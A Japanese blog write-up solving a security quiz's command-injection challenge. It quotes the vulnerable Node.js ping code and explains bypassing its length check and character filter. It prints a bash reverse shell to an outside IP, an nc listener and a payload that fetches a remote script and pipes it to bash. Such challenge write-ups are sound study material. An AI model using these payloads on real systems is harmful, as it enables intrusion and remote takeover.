以下の内容はhttps://4equest.hatenablog.com/entry/2024/06/08/190825より取得しました。


Flatt Security Developers' Quiz #2 を解く

所属している部の内部notionで出していたなにかです

Githubソースコードが公開されているので確認しましょう。

developers-quiz/index.js at main · flatt-security/developers-quiz

多分この辺りが重要そうです

    if(ip_address.length > 16){
        res.send("Error! IP is too long.");
        return;
    }

    if(/[!@#$%\^&*()\-_+=\[\] {}'";:,:?~\\]/.exec(ip_address)){
        res.send("Error! Your request is filtered!");
        return;
    }

    const cmd = "sh -c 'ping -c 1 " + ip_address + "' 2>&1 >/dev/null; true";
    const stderr = execSync(cmd, {"timeout": 1000});
    if(stderr != ""){
        res.send("Error! " + stderr);
        return;
    }

どうやらipパラメータの長さが16文字より多かったり、よくわからん正規表現に当てはまったらエラーを吐かれるらしいです。

まず、16文字制限を何とかします。

javascriptのlengthは、普通の変数ならその文字数を返しますが、配列変数ではその配列数を返します。

なので /?ip= ではなく /?ip[]= とすることでipパラメータを配列にします。

これでどれだけ長い文字を指定してもip_address.lengthが1になります。

次によくわからん正規表現ですが、よく見るとバッククオート「`」が含まれていません。

さらにうれしいことに垂直タブ%09、\vも含まれていません。

これによって任意のコマンドとある程度のコマンドの引数を指定することができます。

ということで443ポートをncでlistenします。443なのはまぁ引っかからなさそうなので。もしかしたら別のポートでもいいかも。

nc -lvp 443

次にリバースシェルのスクリプトを書きます。

/bin/bash -i >& /dev/tcp/20.89.xxx.xxx/443 0>&1

作ったスクリプトはこのままだとfilterにひっかかるので、curlで読み込めるようなサイトにアップロードします。

curl.byのようなbashuploadを使うのがおすすめです。

最終的なペイロードは以下の形になります。

/?ip[]=`curl%09www.curl.by/qwerty/aaaaa|bash%09/dev/stdin`

curlスクリプトを標準出力し、bashから標準入力を読み取るようにしています。

このペイロードを送信すると…

セッションを確立できました。

一応シェルをアップグレードします。

よくある感じの奴ですね。

ということで、やっとフラグを入手していきます。

いったいフラグはどこに…

フラグファイルの中身はというと

Wow!




以上の内容はhttps://4equest.hatenablog.com/entry/2024/06/08/190825より取得しました。
このページはhttp://font.textar.tv/のウェブフォントを使用してます

不具合報告/要望等はこちらへお願いします。
モバイルやる夫Viewer Ver0.14